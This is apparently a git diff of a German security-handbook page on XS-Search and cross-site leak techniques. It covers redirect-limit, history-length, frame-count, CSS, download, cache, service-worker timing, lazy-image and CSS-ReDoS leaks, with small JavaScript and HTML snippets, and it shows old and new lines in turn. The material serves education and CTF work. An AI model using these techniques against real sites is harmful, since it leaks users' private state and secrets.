Wenn eine serverseitige Umleitung **Benutzereingaben innerhalb der Umleitung** und **zusätzliche Daten** verwendet, ist es möglich, dieses Verhalten zu erkennen, da **Server** normalerweise eine **Längenbeschränkung für Anfragen** haben. Wenn die **Benutzerdaten** diese **Länge - 1** haben, weil die **Umleitung** **diese Daten** verwendet und **etwas zusätzliches hinzufügt**, wird ein **Fehler ausgelöst, der über Fehlerereignisse erkennbar ist**.
|
||||
Wenn eine serverseitige Umleitung **Benutzereingaben innerhalb der Umleitung** und **zusätzliche Daten** verwendet. Es ist möglich, dieses Verhalten zu erkennen, da **Server** normalerweise eine **Längenbeschränkung für Anfragen** haben. Wenn die **Benutzerdaten** diese **Länge - 1** haben, weil die **Umleitung** **diese Daten** verwendet und **etwas zusätzliches hinzufügt**, wird ein **Fehler ausgelöst, der über Fehlerereignisse erkennbar ist**.
|
||||
|
||||
Wenn Sie irgendwie Cookies für einen Benutzer setzen können, können Sie diesen Angriff auch durchführen, indem Sie **genug Cookies setzen** ([**Cookie-Bombe**](hacking-with-cookies/cookie-bomb.md)), sodass mit der **erhöhten Größe der Antwort** der **korrekten Antwort** ein **Fehler** ausgelöst wird. In diesem Fall denken Sie daran, dass, wenn Sie diese Anfrage von einer gleichen Seite aus auslösen, `<script>` automatisch die Cookies sendet (damit Sie nach Fehlern suchen können).\
|
||||
Ein Beispiel für die **Cookie-Bombe + XS-Search** finden Sie in der beabsichtigten Lösung dieses Berichts: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
@ -598,18 +598,18 @@ Ein Beispiel für die **Cookie-Bombe + XS-Search** finden Sie in der beabsichtig
|
||||
- **Inklusionsmethoden**: Pop-ups
|
||||
- **Erkennbare Unterschiede**: Statuscode / Inhalt
|
||||
- **Weitere Informationen**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort zu groß für eine Anfrage sein könnte, sodass ein Unterschied bemerkt werden kann.
|
||||
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort zu groß sein könnte, sodass ein Unterschied bemerkt werden kann.
|
||||
- **Codebeispiel**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
Laut [Chromium-Dokumentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) beträgt die maximale URL-Länge von Chrome 2 MB.
|
||||
|
||||
> Im Allgemeinen hat die _Webplattform_ keine Grenzen für die Länge von URLs (obwohl 2^31 ein häufiges Limit ist). _Chrome_ begrenzt URLs aus praktischen Gründen und um zu vermeiden, dass Probleme mit der Dienstverweigerung in der interprozessualen Kommunikation auftreten, auf eine maximale Länge von **2 MB**.
|
||||
> Im Allgemeinen hat die _Webplattform_ keine Grenzen für die Länge von URLs (obwohl 2^31 ein häufiges Limit ist). _Chrome_ begrenzt URLs auf eine maximale Länge von **2 MB** aus praktischen Gründen und um zu vermeiden, dass Probleme mit der Dienstverweigerung in der interprozessualen Kommunikation auftreten.
|
||||
|
||||
Daher, wenn die **Umleitungs-URL in einem der Fälle größer ist**, ist es möglich, sie mit einer **URL größer als 2 MB** umleiten zu lassen, um das **Längenlimit** zu erreichen. Wenn dies geschieht, zeigt Chrome eine **`about:blank#blocked`**-Seite an.
|
||||
Daher, wenn die **Umleitungs-URL in einem der Fälle größer ist**, ist es möglich, sie mit einer **URL größer als 2 MB** umzuleiten, um das **Längenlimit** zu erreichen. Wenn dies geschieht, zeigt Chrome eine **`about:blank#blocked`**-Seite an.
|
||||
|
||||
Der **erhebliche Unterschied** besteht darin, dass, wenn die **Umleitung** **abgeschlossen** wurde, `window.origin` einen **Fehler** auslöst, da eine Cross-Origin nicht auf diese Informationen zugreifen kann. Wenn jedoch das **Limit** erreicht wurde und die geladene Seite **`about:blank#blocked`** war, bleibt der **`origin`** des Fensters der des **Elternteils**, was eine **zugängliche Information** ist.
|
||||
Der **erhebliche Unterschied** besteht darin, dass, wenn die **Umleitung** **abgeschlossen** wurde, `window.origin` einen **Fehler** auslöst, da ein Cross-Origin nicht auf diese Informationen zugreifen kann. Wenn jedoch das **Limit** **erreicht** wurde und die geladene Seite **`about:blank#blocked`** war, bleibt der **`origin`** des Fensters der des **Elternteils**, was eine **zugängliche Information** ist.
|
||||
|
||||
Alle zusätzlichen Informationen, die benötigt werden, um die **2 MB** zu erreichen, können über einen **Hash** in der ursprünglichen URL hinzugefügt werden, sodass sie **bei der Umleitung verwendet wird**.
|
||||
Alle zusätzlichen Informationen, die benötigt werden, um die **2 MB** zu erreichen, können über einen **Hash** in der ursprünglichen URL hinzugefügt werden, sodass er **in der Umleitung verwendet wird**.
|
||||
|
||||
{{#ref}}
|
||||
xs-search/url-max-length-client-side.md
|
||||
@ -620,10 +620,10 @@ xs-search/url-max-length-client-side.md
|
||||
- **Inklusionsmethoden**: Fetch API, Frames
|
||||
- **Erkennbare Unterschiede**: Statuscode
|
||||
- **Weitere Informationen**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
|
||||
- **Zusammenfassung:** Verwenden Sie das Umleitungs-Limit des Browsers, um das Auftreten von URL-Umleitungen festzustellen.
|
||||
- **Zusammenfassung:** Nutzen Sie das Umleitungslimit des Browsers, um das Auftreten von URL-Umleitungen festzustellen.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
|
||||
Wenn die **maximale** Anzahl von **Umleitungen**, die ein Browser folgen kann, **20** beträgt, könnte ein Angreifer versuchen, seine Seite mit **19 Umleitungen** zu laden und schließlich **das Opfer** auf die getestete Seite zu senden. Wenn ein **Fehler** ausgelöst wird, dann versuchte die Seite, das Opfer **umzuleiten**.
|
||||
Wenn die **maximale** Anzahl von **Umleitungen**, die ein Browser folgen kann, **20** beträgt, könnte ein Angreifer versuchen, seine Seite mit **19 Umleitungen** zu laden und schließlich **das Opfer** zur getesteten Seite zu senden. Wenn ein **Fehler** ausgelöst wird, dann versuchte die Seite, das Opfer **umzuleiten**.
|
||||
|
||||
### Verlaufslänge
|
||||
|
||||
@ -643,7 +643,7 @@ Die **History API** ermöglicht es JavaScript-Code, den Browserverlauf zu manipu
|
||||
- **Zusammenfassung:** Es ist möglich zu erraten, ob sich der Standort eines Frames/Pops in einer bestimmten URL befindet, indem die Verlaufslänge ausgenutzt wird.
|
||||
- **Codebeispiel**: Unten
|
||||
|
||||
Ein Angreifer könnte JavaScript-Code verwenden, um die **Position des Frames/Pops auf eine vermutete** zu **manipulieren** und sie **sofort** auf `about:blank` **zu ändern**. Wenn die Verlaufslänge zunimmt, bedeutet das, dass die URL korrekt war und Zeit hatte, **zuzunehmen, weil die URL nicht neu geladen wird, wenn sie dieselbe ist**. Wenn sie nicht zunahm, bedeutet das, dass sie **versucht hat, die vermutete URL zu laden**, aber weil wir **sofort danach** **`about:blank`** geladen haben, hat sich die **Verlaufslänge nie erhöht**, als die vermutete URL geladen wurde.
|
||||
Ein Angreifer könnte JavaScript-Code verwenden, um die **Position des Frames/Pops auf eine vermutete** zu **manipulieren** und sie **sofort** auf `about:blank` **zu ändern**. Wenn die Verlaufslänge zunimmt, bedeutet das, dass die URL korrekt war und Zeit hatte, sich zu **erhöhen, weil die URL nicht neu geladen wird, wenn sie dieselbe ist**. Wenn sie nicht zunahm, bedeutet das, dass sie **versucht hat, die vermutete URL zu laden**, aber weil wir **sofort danach** **`about:blank`** geladen haben, hat sich die **Verlaufslänge nie erhöht**, als die vermutete URL geladen wurde.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -669,8 +669,8 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
- **Summary:** Bewerten Sie die Anzahl der iframe-Elemente, indem Sie die `window.length`-Eigenschaft inspizieren.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
Das Zählen der **Anzahl der Frames in einem Web**-Dokument, das über `iframe` oder `window.open` geöffnet wurde, kann helfen, den **Status des Benutzers auf dieser Seite** zu identifizieren.\
|
||||
Darüber hinaus, wenn die Seite immer die gleiche Anzahl von Frames hat, kann das **kontinuierliche** Überprüfen der Anzahl der Frames helfen, ein **Muster** zu identifizieren, das Informationen preisgeben könnte.
|
||||
Das Zählen der **Anzahl der Frames in einem Web**-Fenster, das über `iframe` oder `window.open` geöffnet wurde, kann helfen, den **Status des Benutzers auf dieser Seite** zu identifizieren.\
|
||||
Darüber hinaus, wenn die Seite immer die gleiche Anzahl von Frames hat, kann das **kontinuierliche** Überprüfen der Anzahl der Frames helfen, ein **Muster** zu identifizieren, das Informationen leaken könnte.
|
||||
|
||||
Ein Beispiel für diese Technik ist, dass in Chrome ein **PDF** mit **Frame Counting** **erkannt** werden kann, da intern ein `embed` verwendet wird. Es gibt [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), die eine gewisse Kontrolle über den Inhalt wie `zoom`, `view`, `page`, `toolbar` ermöglichen, wo diese Technik interessant sein könnte.
|
||||
|
||||
@ -689,7 +689,7 @@ Informationslecks durch HTML-Elemente sind ein Anliegen in der Websicherheit, in
|
||||
- **HTMLMediaElement**: Dieses Element gibt die `duration` und `buffered` Zeiten des Mediums preis, die über seine API abgerufen werden können. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Es gibt `videoHeight` und `videoWidth` preis. In einigen Browsern sind zusätzliche Eigenschaften wie `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` und `webkitDecodedFrameCount` verfügbar, die detailliertere Informationen über den Medieninhalt bieten. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Diese Funktion liefert Details zur Video-Wiedergabequalität, einschließlich `totalVideoFrames`, was die Menge der verarbeiteten Videodaten anzeigen kann. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Dieses Element gibt die `height` und `width` eines Bildes preis. Wenn ein Bild jedoch ungültig ist, geben diese Eigenschaften 0 zurück, und die Funktion `image.decode()` wird abgelehnt, was darauf hinweist, dass das Bild nicht ordnungsgemäß geladen werden konnte. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLImageElement**: Dieses Element leakt die `height` und `width` eines Bildes. Wenn ein Bild jedoch ungültig ist, geben diese Eigenschaften 0 zurück, und die Funktion `image.decode()` wird abgelehnt, was darauf hinweist, dass das Bild nicht ordnungsgemäß geladen werden konnte. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### CSS Property
|
||||
|
||||
@ -699,7 +699,7 @@ Informationslecks durch HTML-Elemente sind ein Anliegen in der Websicherheit, in
|
||||
- **Summary:** Identifizieren Sie Variationen im Website-Styling, die mit dem Status oder Zustand des Benutzers korrelieren.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Webanwendungen können das **Website-Styling** je nach Status des Benutzers ändern. Cross-Origin-CSS-Dateien können auf der Angreifer-Seite mit dem **HTML-Link-Element** eingebettet werden, und die **Regeln** werden auf die Angreifer-Seite **angewendet**. Wenn eine Seite diese Regeln dynamisch ändert, kann ein Angreifer diese **Unterschiede** je nach Benutzerstatus **erkennen**.\
|
||||
Webanwendungen können das **Website-Styling je nach Status des Benutzers** ändern. Cross-Origin-CSS-Dateien können auf der Angreiferseite mit dem **HTML-Link-Element** eingebettet werden, und die **Regeln** werden auf die Angreiferseite **angewendet**. Wenn eine Seite diese Regeln dynamisch ändert, kann ein Angreifer diese **Unterschiede** je nach Benutzerstatus **erkennen**.\
|
||||
Als Leak-Technik kann der Angreifer die Methode `window.getComputedStyle` verwenden, um **CSS**-Eigenschaften eines bestimmten HTML-Elements zu **lesen**. Infolgedessen kann ein Angreifer beliebige CSS-Eigenschaften lesen, wenn das betroffene Element und der Eigenschaftsname bekannt sind.
|
||||
|
||||
### CSS History
|
||||
@ -717,7 +717,7 @@ Der CSS-Selektor `:visited` wird verwendet, um URLs anders zu stylen, wenn sie z
|
||||
|
||||
Trotz dieser Einschränkungen ist es möglich, den besuchten Status eines Links indirekt zu erkennen. Eine Technik besteht darin, den Benutzer dazu zu bringen, mit einem Bereich zu interagieren, der von CSS betroffen ist, insbesondere unter Verwendung der `mix-blend-mode`-Eigenschaft. Diese Eigenschaft ermöglicht das Mischen von Elementen mit ihrem Hintergrund, was möglicherweise den besuchten Status basierend auf der Benutzerinteraktion offenbart.
|
||||
|
||||
Darüber hinaus kann die Erkennung ohne Benutzerinteraktion durch die Ausnutzung der Renderzeiten von Links erfolgen. Da Browser besuchte und unbesuchte Links möglicherweise unterschiedlich rendern, kann dies einen messbaren Zeitunterschied im Rendering einführen. Ein Proof of Concept (PoC) wurde in einem Chromium-Bugbericht erwähnt, der diese Technik unter Verwendung mehrerer Links demonstriert, um den Zeitunterschied zu verstärken und so den besuchten Status durch Zeitanalysen erkennbar zu machen.
|
||||
Darüber hinaus kann die Erkennung ohne Benutzerinteraktion durch die Ausnutzung der Renderzeiten von Links erreicht werden. Da Browser besuchte und unbesuchte Links möglicherweise unterschiedlich rendern, kann dies einen messbaren Zeitunterschied im Rendering einführen. Ein Proof of Concept (PoC) wurde in einem Chromium-Bugbericht erwähnt, der diese Technik unter Verwendung mehrerer Links demonstriert, um den Zeitunterschied zu verstärken, wodurch der besuchte Status durch Zeitanalysen erkennbar wird.
|
||||
|
||||
Für weitere Details zu diesen Eigenschaften und Methoden besuchen Sie deren Dokumentationsseiten:
|
||||
|
||||
@ -733,7 +733,7 @@ Für weitere Details zu diesen Eigenschaften und Methoden besuchen Sie deren Dok
|
||||
- **Summary:** In Google Chrome wird eine spezielle Fehlerseite angezeigt, wenn eine Seite aufgrund von X-Frame-Options-Beschränkungen nicht in eine Cross-Origin-Seite eingebettet werden kann.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
In Chrome, wenn eine Seite mit dem `X-Frame-Options`-Header auf "deny" oder "same-origin" gesetzt als Objekt eingebettet wird, erscheint eine Fehlerseite. Chrome gibt für die `contentDocument`-Eigenschaft dieses Objekts einzigartig ein leeres Dokumentobjekt (anstatt `null`) zurück, im Gegensatz zu iframes oder anderen Browsern. Angreifer könnten dies ausnutzen, indem sie das leere Dokument erkennen, was potenziell Informationen über den Status des Benutzers offenbaren könnte, insbesondere wenn Entwickler den X-Frame-Options-Header inkonsistent setzen und oft Fehlerseiten übersehen. Bewusstsein und konsistente Anwendung von Sicherheitsheadern sind entscheidend, um solche Lecks zu verhindern.
|
||||
In Chrome, wenn eine Seite mit dem `X-Frame-Options`-Header auf "deny" oder "same-origin" gesetzt als Objekt eingebettet wird, erscheint eine Fehlerseite. Chrome gibt für die `contentDocument`-Eigenschaft dieses Objekts einzigartig ein leeres Dokumentobjekt (anstatt `null`) zurück, im Gegensatz zu iframes oder anderen Browsern. Angreifer könnten dies ausnutzen, indem sie das leere Dokument erkennen, was potenziell Informationen über den Status des Benutzers offenbart, insbesondere wenn Entwickler den X-Frame-Options-Header inkonsistent setzen und oft Fehlerseiten übersehen. Bewusstsein und konsistente Anwendung von Sicherheitsheadern sind entscheidend, um solche Leaks zu verhindern.
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -747,7 +747,7 @@ Der `Content-Disposition`-Header, speziell `Content-Disposition: attachment`, we
|
||||
|
||||
1. **Überwachung der Download-Leiste**:
|
||||
- Wenn eine Datei in Chromium-basierten Browsern heruntergeladen wird, erscheint eine Download-Leiste am unteren Rand des Browserfensters.
|
||||
- Durch die Überwachung von Änderungen in der Fensterhöhe können Angreifer das Erscheinen der Download-Leiste ableiten, was darauf hindeutet, dass ein Download initiiert wurde.
|
||||
- Durch die Überwachung von Änderungen in der Fensterhöhe können Angreifer auf das Erscheinen der Download-Leiste schließen, was darauf hindeutet, dass ein Download initiiert wurde.
|
||||
2. **Download-Navigation mit Iframes**:
|
||||
- Wenn eine Seite einen Datei-Download mit dem `Content-Disposition: attachment`-Header auslöst, verursacht dies kein Navigationsereignis.
|
||||
- Durch das Laden des Inhalts in einem iframe und das Überwachen von Navigationsereignissen ist es möglich zu überprüfen, ob die Inhalts-Disposition einen Datei-Download verursacht (keine Navigation) oder nicht.
|
||||
@ -755,7 +755,7 @@ Der `Content-Disposition`-Header, speziell `Content-Disposition: attachment`, we
|
||||
- Ähnlich wie bei der iframe-Technik besteht diese Methode darin, `window.open` anstelle eines iframes zu verwenden.
|
||||
- Das Überwachen von Navigationsereignissen im neu geöffneten Fenster kann offenbaren, ob ein Datei-Download ausgelöst wurde (keine Navigation) oder ob der Inhalt inline angezeigt wird (Navigation erfolgt).
|
||||
|
||||
In Szenarien, in denen nur angemeldete Benutzer solche Downloads auslösen können, können diese Techniken verwendet werden, um indirekt den Authentifizierungsstatus des Benutzers basierend auf der Reaktion des Browsers auf die Download-Anfrage abzuleiten.
|
||||
In Szenarien, in denen nur angemeldete Benutzer solche Downloads auslösen können, können diese Techniken verwendet werden, um den Authentifizierungsstatus des Benutzers indirekt basierend auf der Reaktion des Browsers auf die Download-Anfrage abzuleiten.
|
||||
|
||||
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||||
|
||||
@ -777,7 +777,7 @@ Oder man könnte einfach **einige Fetch-Anfragen an die potenziell im Cache gesp
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Weiterleitungen
|
||||
- **Detectable Difference**: Redirects
|
||||
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||||
- **Summary:** Es ist möglich herauszufinden, ob eine Antwort auf eine Fetch-Anfrage eine Weiterleitung ist
|
||||
- **Code Example**:
|
||||
@ -799,7 +799,7 @@ Verwenden Sie _**fetch**_ und _**setTimeout**_ mit einem **AbortController**, um
|
||||
- **Inclusion Methods**: HTML-Elemente (Script)
|
||||
- **Detectable Difference**: Seiteninhalt
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
- **Summary:** Es ist möglich, **eingebaute Funktionen zu überschreiben** und deren Argumente zu lesen, selbst von **Cross-Origin-Skripten** (die nicht direkt gelesen werden können), was **wertvolle Informationen preisgeben könnte**.
|
||||
- **Summary:** Es ist möglich, **eingebaute Funktionen zu überschreiben** und deren Argumente zu lesen, selbst von **Cross-Origin-Skripten** (die nicht direkt gelesen werden können), was **wertvolle Informationen leaken** könnte.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||||
|
||||
### Service Workers <a href="#service-workers" id="service-workers"></a>
|
||||
@ -807,7 +807,7 @@ Verwenden Sie _**fetch**_ und _**setTimeout**_ mit einem **AbortController**, um
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Seiteninhalt
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||||
- **Summary:** Messen Sie die Ausführungszeit einer Webseite mithilfe von Service Workern.
|
||||
- **Summary:** Messen Sie die Ausführungszeit eines Webs mit Service-Workern.
|
||||
- **Code Example**:
|
||||
|
||||
In dem gegebenen Szenario ergreift der Angreifer die Initiative, um einen **Service Worker** innerhalb einer ihrer Domains, speziell "attacker.com", zu registrieren. Anschließend öffnet der Angreifer ein neues Fenster auf der Zielwebsite aus dem Hauptdokument und weist den **Service Worker** an, einen Timer zu starten. Während das neue Fenster zu laden beginnt, navigiert der Angreifer die Referenz, die im vorherigen Schritt erhalten wurde, zu einer von dem **Service Worker** verwalteten Seite.
|
||||
@ -815,7 +815,7 @@ In dem gegebenen Szenario ergreift der Angreifer die Initiative, um einen **Serv
|
||||
Bei Eintreffen der Anfrage, die im vorherigen Schritt initiiert wurde, antwortet der **Service Worker** mit einem **204 (No Content)**-Statuscode, wodurch der Navigationsprozess effektiv beendet wird. Zu diesem Zeitpunkt erfasst der **Service Worker** eine Messung vom zuvor in Schritt zwei gestarteten Timer. Diese Messung wird durch die Dauer von JavaScript beeinflusst, die Verzögerungen im Navigationsprozess verursacht.
|
||||
|
||||
> [!WARNING]
|
||||
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren** zu **eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.
|
||||
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren zu eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.
|
||||
|
||||
### Fetch Timing
|
||||
|
||||
@ -846,14 +846,14 @@ dangling-markup-html-scriptless-injection/
|
||||
### Image Lazy Loading
|
||||
|
||||
Wenn Sie **Inhalte exfiltrieren** müssen und Sie **HTML vor dem Geheimnis hinzufügen können**, sollten Sie die **üblichen Techniken für hängende Markups** überprüfen.\
|
||||
Wenn Sie jedoch aus irgendeinem Grund **MÜSSEN**, es **Zeichen für Zeichen** zu tun (vielleicht erfolgt die Kommunikation über einen Cache-Hit), können Sie diesen Trick verwenden.
|
||||
Wenn Sie jedoch aus irgendeinem Grund **MÜSSEN**, es **Zeichen für Zeichen** zu tun (vielleicht erfolgt die Kommunikation über einen Cache-Treffer), können Sie diesen Trick verwenden.
|
||||
|
||||
**Bilder** in HTML haben ein "**loading**"-Attribut, dessen Wert "**lazy**" sein kann. In diesem Fall wird das Bild geladen, wenn es angesehen wird, und nicht während das Seite geladen wird:
|
||||
```html
|
||||
<img src=/something loading=lazy >
|
||||
```
|
||||
Daher können Sie **eine Menge Junk-Zeichen** hinzufügen (zum Beispiel **tausende von "W"s**), um **die Webseite vor dem Geheimnis zu füllen oder etwas wie** `<br><canvas height="1850px"></canvas><br>.` hinzuzufügen.\
|
||||
Wenn zum Beispiel unsere **Injektion vor dem Flag erscheint**, würde das **Bild** **geladen** werden, aber wenn es **nach** dem **Flag** erscheint, wird das Flag + der Junk **verhindern, dass es geladen wird** (Sie müssen mit der Menge an Junk spielen, die Sie platzieren). Das ist, was in [**diesem Bericht**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) passiert ist.
|
||||
Wenn zum Beispiel unsere **Injektion vor dem Flag erscheint**, wird das **Bild** **geladen**, aber wenn es **nach** dem **Flag** erscheint, wird das Flag + der Junk **verhindern, dass es geladen wird** (Sie müssen damit experimentieren, wie viel Junk Sie platzieren). Das ist, was in [**diesem Bericht**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) passiert ist.
|
||||
|
||||
Eine andere Möglichkeit wäre, das **scroll-to-text-fragment** zu verwenden, wenn es erlaubt ist:
|
||||
|
||||
@ -887,7 +887,7 @@ regular-expression-denial-of-service-redos.md
|
||||
|
||||
### CSS ReDoS
|
||||
|
||||
Wenn `jQuery(location.hash)` verwendet wird, ist es möglich, über Timing herauszufinden, **ob einige HTML-Inhalte existieren**, da der Selektor `main[id='site-main']` nicht überprüft werden muss, wenn er nicht übereinstimmt, und es nicht notwendig ist, den Rest der **Selektoren** zu überprüfen:
|
||||
Wenn `jQuery(location.hash)` verwendet wird, ist es möglich, über Timing herauszufinden, **ob einige HTML-Inhalte existieren**, da der Selektor `main[id='site-main']` nicht überprüft werden muss, wenn er nicht übereinstimmt, und somit die restlichen **Selektoren** nicht überprüft werden müssen:
|
||||
```javascript
|
||||
$(
|
||||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||||
|
||||
@ -30,15 +30,15 @@ Mehrere Aspekte können analysiert werden, um die Zustände des Anfälligen Webs
|
||||
|
||||
- **HTML-Elemente**: HTML bietet verschiedene Elemente zur **Einbeziehung von Ressourcen über Ursprünge hinweg**, wie Stylesheets, Bilder oder Skripte, die den Browser zwingen, eine Nicht-HTML-Ressource anzufordern. Eine Zusammenstellung potenzieller HTML-Elemente für diesen Zweck finden Sie unter [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Frames**: Elemente wie **iframe**, **object** und **embed** können HTML-Ressourcen direkt in die Seite des Angreifers einbetten. Wenn die Seite **keinen Schutz vor Einbettung** hat, kann JavaScript auf das Fensterobjekt der eingebetteten Ressource über die Eigenschaft contentWindow zugreifen.
|
||||
- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fenster-Handle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Einbettungs- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein.
|
||||
- **JavaScript-Anfragen**: JavaScript erlaubt direkte Anfragen an Zielressourcen unter Verwendung von **XMLHttpRequests** oder der **Fetch API**. Diese Methoden bieten eine präzise Kontrolle über die Anfrage, wie die Entscheidung, HTTP-Weiterleitungen zu folgen.
|
||||
- **Pop-ups**: Die **`window.open`**-Methode öffnet eine Ressource in einem neuen Tab oder Fenster und bietet einen **Fensterhandle**, mit dem JavaScript mit Methoden und Eigenschaften gemäß SOP interagieren kann. Pop-ups, die häufig bei der einmaligen Anmeldung verwendet werden, umgehen die Einbettungs- und Cookie-Beschränkungen einer Zielressource. Moderne Browser schränken jedoch die Erstellung von Pop-ups auf bestimmte Benutzeraktionen ein.
|
||||
- **JavaScript-Anfragen**: JavaScript erlaubt direkte Anfragen an Zielressourcen unter Verwendung von **XMLHttpRequests** oder der **Fetch API**. Diese Methoden bieten eine präzise Kontrolle über die Anfrage, wie z. B. die Entscheidung, HTTP-Weiterleitungen zu folgen.
|
||||
|
||||
### Leak-Techniken
|
||||
|
||||
- **Ereignis-Handler**: Eine klassische Leak-Technik in XS-Leaks, bei der Ereignis-Handler wie **onload** und **onerror** Einblicke in den Erfolg oder Misserfolg des Ladens von Ressourcen geben.
|
||||
- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle Fehlerseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen ihrer Anwesenheit und Abwesenheit liefern.
|
||||
- **Globale Grenzen**: Physische Einschränkungen eines Browsers, wie Speicherkapazität oder andere durch den Browser durchgesetzte Grenzen, können signalisieren, wenn ein Schwellenwert erreicht ist, und dienen als Leak-Technik.
|
||||
- **Globaler Zustand**: Erkennbare Interaktionen mit den **globalen Zuständen** von Browsern (z. B. die History-Schnittstelle) können ausgenutzt werden. Zum Beispiel kann die **Anzahl der Einträge** im Verlauf eines Browsers Hinweise auf Cross-Origin-Seiten geben.
|
||||
- **Fehlermeldungen**: JavaScript-Ausnahmen oder spezielle Fehlerseiten können Leak-Informationen entweder direkt aus der Fehlermeldung oder durch Unterscheidung zwischen deren Anwesenheit und Abwesenheit bereitstellen.
|
||||
- **Globale Grenzen**: Physikalische Einschränkungen eines Browsers, wie Speicherkapazität oder andere durch den Browser durchgesetzte Grenzen, können signalisieren, wenn ein Schwellenwert erreicht ist, und dienen als Leak-Technik.
|
||||
- **Globaler Zustand**: Erkennbare Interaktionen mit den **globalen Zuständen** der Browser (z. B. die History-Schnittstelle) können ausgenutzt werden. Zum Beispiel kann die **Anzahl der Einträge** im Verlauf eines Browsers Hinweise auf Cross-Origin-Seiten geben.
|
||||
- **Performance-API**: Diese API bietet **Leistungsdetails der aktuellen Seite**, einschließlich Netzwerkzeit für das Dokument und geladene Ressourcen, was Schlussfolgerungen über angeforderte Ressourcen ermöglicht.
|
||||
- **Lesbare Attribute**: Einige HTML-Attribute sind **über Ursprünge hinweg lesbar** und können als Leak-Technik verwendet werden. Zum Beispiel ermöglicht die `window.frame.length`-Eigenschaft JavaScript, die in einer Webseite über Ursprünge hinweg enthaltenen Frames zu zählen.
|
||||
|
||||
